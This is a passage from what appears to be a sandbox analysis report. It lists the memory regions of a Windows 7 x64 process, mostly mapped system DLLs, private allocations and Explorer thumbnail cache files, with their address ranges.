"c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 825 start_va = 0x7fefbf10000 end_va = 0x7fefbf65fff entry_point = 0x7fefbf10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 826 start_va = 0x7fefbf70000 end_va = 0x7fefc09bfff entry_point = 0x7fefbf70000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 827 start_va = 0x7fefc0a0000 end_va = 0x7fefc0bcfff entry_point = 0x7fefc0a0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 828 start_va = 0x7fefc0c0000 end_va = 0x7fefc0e0fff entry_point = 0x7fefc0c0000 region_type = mapped_file name = "uianimation.dll" filename = "\\Windows\\System32\\UIAnimation.dll" (normalized: "c:\\windows\\system32\\uianimation.dll") Region: id = 829 start_va = 0x7fefc0f0000 end_va = 0x7fefc2e3fff entry_point = 0x7fefc0f0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 830 start_va = 0x7fefc2f0000 end_va = 0x7fefc30efff entry_point = 0x7fefc2f0000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 831 start_va = 0x7fefc310000 end_va = 0x7fefc333fff entry_point = 0x7fefc310000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 832 start_va = 0x7fefc340000 end_va = 0x7fefc348fff entry_point = 0x7fefc340000 region_type = mapped_file name = "msiltcfg.dll" filename = "\\Windows\\System32\\msiltcfg.dll" (normalized: "c:\\windows\\system32\\msiltcfg.dll") Region: id = 833 start_va = 0x7fefc350000 end_va = 0x7fefc35bfff entry_point = 0x7fefc350000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 834 start_va = 0x7fefc360000 end_va = 0x7fefc393fff entry_point = 0x7fefc360000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 835 start_va = 0x7fefc3a0000 end_va = 0x7fefc422fff entry_point = 0x7fefc3a0000 region_type = mapped_file name = "timedate.cpl" filename = "\\Windows\\System32\\timedate.cpl" (normalized: "c:\\windows\\system32\\timedate.cpl") Region: id = 836 start_va = 0x7fefc430000 end_va = 0x7fefc43afff entry_point = 0x7fefc430000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 837 start_va = 0x7fefc440000 end_va = 0x7fefc47afff entry_point = 0x7fefc440000 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 838 start_va = 0x7fefc480000 end_va = 0x7fefc487fff entry_point = 0x7fefc480000 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 839 start_va = 0x7fefc490000 end_va = 0x7fefc50ffff entry_point = 0x7fefc490000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 840 start_va = 0x7fefc510000 end_va = 0x7fefc51bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 841 start_va = 0x7fefc520000 end_va = 0x7fefc59dfff entry_point = 0x7fefc520000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 842 start_va = 0x7fefc5a0000 end_va = 0x7fefc5d4fff entry_point = 0x7fefc5a0000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 843 start_va = 0x7fefc780000 end_va = 0x7fefc78bfff entry_point = 0x7fefc780000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 844 start_va = 0x7fefc960000 end_va = 0x7fefc97dfff entry_point = 0x7fefc960000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 845 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 846 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 847 start_va = 0x7fefd3b0000 end_va = 0x7fefd3d2fff entry_point = 0x7fefd3b0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 848 start_va = 0x7fefd450000 end_va = 0x7fefd45afff entry_point = 0x7fefd450000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 849 start_va = 0x7fefd480000 end_va = 0x7fefd4a4fff entry_point = 0x7fefd480000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 850 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 851 start_va = 0x7fefd560000 end_va = 0x7fefd59cfff entry_point = 0x7fefd560000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 852 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 853 start_va = 0x7fefd5c0000 end_va = 0x7fefd5cefff entry_point = 0x7fefd5c0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 854 start_va = 0x7fefd660000 end_va = 0x7fefd66efff entry_point = 0x7fefd660000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 855 start_va = 0x7fefd670000 end_va = 0x7fefd6a5fff entry_point = 0x7fefd670000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 856 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 857 start_va = 0x7fefd900000 end_va = 0x7fefd919fff entry_point = 0x7fefd900000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 858 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 859 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 860 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 861 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 862 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 863 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 864 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 865 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 866 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 867 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 868 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 869 start_va = 0x7fefe360000 end_va = 0x7feff0e7fff entry_point = 0x7fefe360000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 870 start_va = 0x7feff0f0000 end_va = 0x7feff2c6fff entry_point = 0x7feff0f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 871 start_va = 0x7feff2e0000 end_va = 0x7feff350fff entry_point = 0x7feff2e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 872 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 873 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 874 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 875 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 876 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 877 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 878 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 879 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 880 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 881 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 882 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 883 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 884 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 885 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 886 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 887 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 888 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 889 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 890 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 891 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 892 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 893 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 894 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 895 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 896 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 897 start_va = 0x4f70000 end_va = 0x4feffff entry_point = 0x0 region_type = private name = "private_0x0000000004f70000" filename = "" Region: id = 898 start_va = 0x7fefd4c0000 end_va = 0x7fefd550fff entry_point = 0x7fefd4c0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 899 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 900 start_va = 0x4410000 end_va = 0x4412fff entry_point = 0x0 region_type = private name = "private_0x0000000004410000" filename = "" Region: id = 901 start_va = 0x4420000 end_va = 0x4422fff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 902 start_va = 0x4540000 end_va = 0x4542fff entry_point = 0x0 region_type = private name = "private_0x0000000004540000" filename = "" Region: id = 903 start_va = 0x45d0000 end_va = 0x45d2fff entry_point = 0x0 region_type = private name = "private_0x00000000045d0000" filename = "" Region: id = 904 start_va = 0x4660000 end_va = 0x4660fff entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 905 start_va = 0x4670000 end_va = 0x467ffff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 906 start_va = 0x4680000 end_va = 0x4681fff entry_point = 0x0 region_type = private name = "private_0x0000000004680000" filename = "" Region: id = 907 start_va = 0x4970000 end_va = 0x4970fff entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 908 start_va = 0x4980000 end_va = 0x4980fff entry_point = 0x0 region_type = private name = "private_0x0000000004980000" filename = "" Region: id = 909 start_va = 0x4990000 end_va = 0x4990fff entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 910 start_va = 0x49a0000 end_va = 0x49a0fff entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 911 start_va = 0x49b0000 end_va = 0x49b0fff entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 912 start_va = 0x49c0000 end_va = 0x49c0fff entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 913 start_va = 0x49d0000 end_va = 0x49d0fff entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 914 start_va = 0x49e0000 end_va = 0x49e0fff entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 915 start_va = 0x49f0000 end_va = 0x49f0fff entry_point = 0x0 region_type = private name = "private_0x00000000049f0000" filename = "" Region: id = 916 start_va = 0x4a00000 end_va = 0x4a00fff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 917 start_va = 0x4a10000 end_va = 0x4a10fff entry_point = 0x0 region_type = private name = "private_0x0000000004a10000" filename = "" Region: id = 918 start_va = 0x4a20000 end_va = 0x4a20fff entry_point = 0x0 region_type = private name = "private_0x0000000004a20000" filename = "" Region: id = 919 start_va = 0x4a30000 end_va = 0x4a30fff entry_point = 0x0 region_type = private name = "private_0x0000000004a30000" filename = "" Region: id = 920 start_va = 0x4a40000 end_va = 0x4a40fff entry_point = 0x0 region_type = private name = "private_0x0000000004a40000" filename = "" Region: id = 921 start_va = 0x4a50000 end_va = 0x4a50fff entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 922 start_va = 0x7fef5810000 end_va = 0x7fef58c9fff entry_point = 0x7fef5810000 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 923 start_va = 0x7fef8c00000 end_va = 0x7fef8c42fff entry_point = 0x7fef8c00000 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 924 start_va = 0x42a0000 end_va = 0x42a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042a0000" filename = "" Region: id = 925 start_va = 0x4ee0000 end_va = 0x4f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ee0000" filename = "" Region: id = 926 start_va = 0x7fefb940000 end_va = 0x7fefb950fff entry_point = 0x7fefb940000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 927 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 928 start_va = 0x7fefd990000 end_va = 0x7fefdb07fff entry_point = 0x7fefd990000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 929 start_va = 0x7feff360000 end_va = 0x7feff489fff entry_point = 0x7feff360000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 930 start_va = 0x7feff4e0000 end_va = 0x7feff738fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 931 start_va = 0x4690000 end_va = 0x4691fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004690000" filename = "" Region: id = 932 start_va = 0x7fef67d0000 end_va = 0x7fef6840fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 933 start_va = 0x7fef80e0000 end_va = 0x7fef8148fff entry_point = 0x7fef80e0000 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 934 start_va = 0x6cf0000 end_va = 0x6cfffff entry_point = 0x0 region_type = private name = "private_0x0000000006cf0000" filename = "" Region: id = 935 start_va = 0x7fefafd0000 end_va = 0x7fefb036fff entry_point = 0x7fefafd0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1055 start_va = 0x46a0000 end_va = 0x46a3fff entry_point = 0x46a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1056 start_va = 0x46b0000 end_va = 0x46b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046b0000" filename = "" Region: id = 1057 start_va = 0x46c0000 end_va = 0x46c0fff entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 1058 start_va = 0x6c40000 end_va = 0x6cbffff entry_point = 0x0 region_type = private name = "private_0x0000000006c40000" filename = "" Region: id = 1059 start_va = 0x6d70000 end_va = 0x6deffff entry_point = 0x0 region_type = private name = "private_0x0000000006d70000" filename = "" Region: id = 1060 start_va = 0x6e80000 end_va = 0x6efffff entry_point = 0x0 region_type = private name = "private_0x0000000006e80000" filename = "" Region: id = 1061 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1062 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1063 start_va = 0x46d0000 end_va = 0x46d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046d0000" filename = "" Region: id = 1064 start_va = 0x46e0000 end_va = 0x46effff entry_point = 0x0 region_type = private name = "private_0x00000000046e0000" filename = "" Region: id = 1065 start_va = 0x4a60000 end_va = 0x4a63fff entry_point = 0x0 region_type = private name = "private_0x0000000004a60000" filename = "" Region: id = 1066 start_va = 0x4a70000 end_va = 0x4a70fff entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 1067 start_va = 0x4db0000 end_va = 0x4de1fff entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 1068 start_va = 0x5050000 end_va = 0x50cffff entry_point = 0x0 region_type = private name = "private_0x0000000005050000" filename = "" Region: id = 1069 start_va = 0x6f40000 end_va = 0x6fbffff entry_point = 0x0 region_type = private name = "private_0x0000000006f40000" filename = "" Region: id = 1070 start_va = 0x7000000 end_va = 0x707ffff entry_point = 0x0 region_type = private name = "private_0x0000000007000000" filename = "" Region: id = 1071 start_va = 0x7100000 end_va = 0x717ffff entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 1072 start_va = 0x7180000 end_va = 0x71fffff entry_point = 0x0 region_type = private name = "private_0x0000000007180000" filename = "" Region: id = 1073 start_va = 0x7200000 end_va = 0x75fffff entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 1074 start_va = 0x7fef62a0000 end_va = 0x7fef6313fff entry_point = 0x7fef62a0000 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 1075 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1076 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1077 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1078 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1079 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1080 start_va = 0x7630000 end_va = 0x76affff entry_point = 0x0 region_type = private name = "private_0x0000000007630000" filename = "" Region: id = 1081 start_va = 0x7fef6750000 end_va = 0x7fef67c2fff entry_point = 0x7fef6750000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 1082 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1083 start_va = 0x4a80000 end_va = 0x4a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 1084 start_va = 0x7fef8ef0000 end_va = 0x7fef8f05fff entry_point = 0x7fef8ef0000 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 1085 start_va = 0x4d10000 end_va = 0x4d10fff entry_point = 0x4d10000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 1086 start_va = 0x4d20000 end_va = 0x4d20fff entry_point = 0x4d20000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 1087 start_va = 0x4df0000 end_va = 0x4df0fff entry_point = 0x4df0000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 1088 start_va = 0x4e80000 end_va = 0x4ed5fff entry_point = 0x4e80000 region_type = mapped_file name = "shellstyle.dll" filename = "\\Windows\\Resources\\Themes\\Aero\\Shell\\NormalColor\\shellstyle.dll" (normalized: "c:\\windows\\resources\\themes\\aero\\shell\\normalcolor\\shellstyle.dll") Region: id = 1089 start_va = 0x4f60000 end_va = 0x4f60fff entry_point = 0x4f60000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1090 start_va = 0x4ff0000 end_va = 0x4ff1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ff0000" filename = "" Region: id = 1091 start_va = 0x7740000 end_va = 0x77bffff entry_point = 0x0 region_type = private name = "private_0x0000000007740000" filename = "" Region: id = 1092 start_va = 0x7830000 end_va = 0x78affff entry_point = 0x0 region_type = private name = "private_0x0000000007830000" filename = "" Region: id = 1093 start_va = 0x78b0000 end_va = 0x79affff entry_point = 0x78b0000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 1094 start_va = 0x79b0000 end_va = 0x7aaffff entry_point = 0x79b0000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js 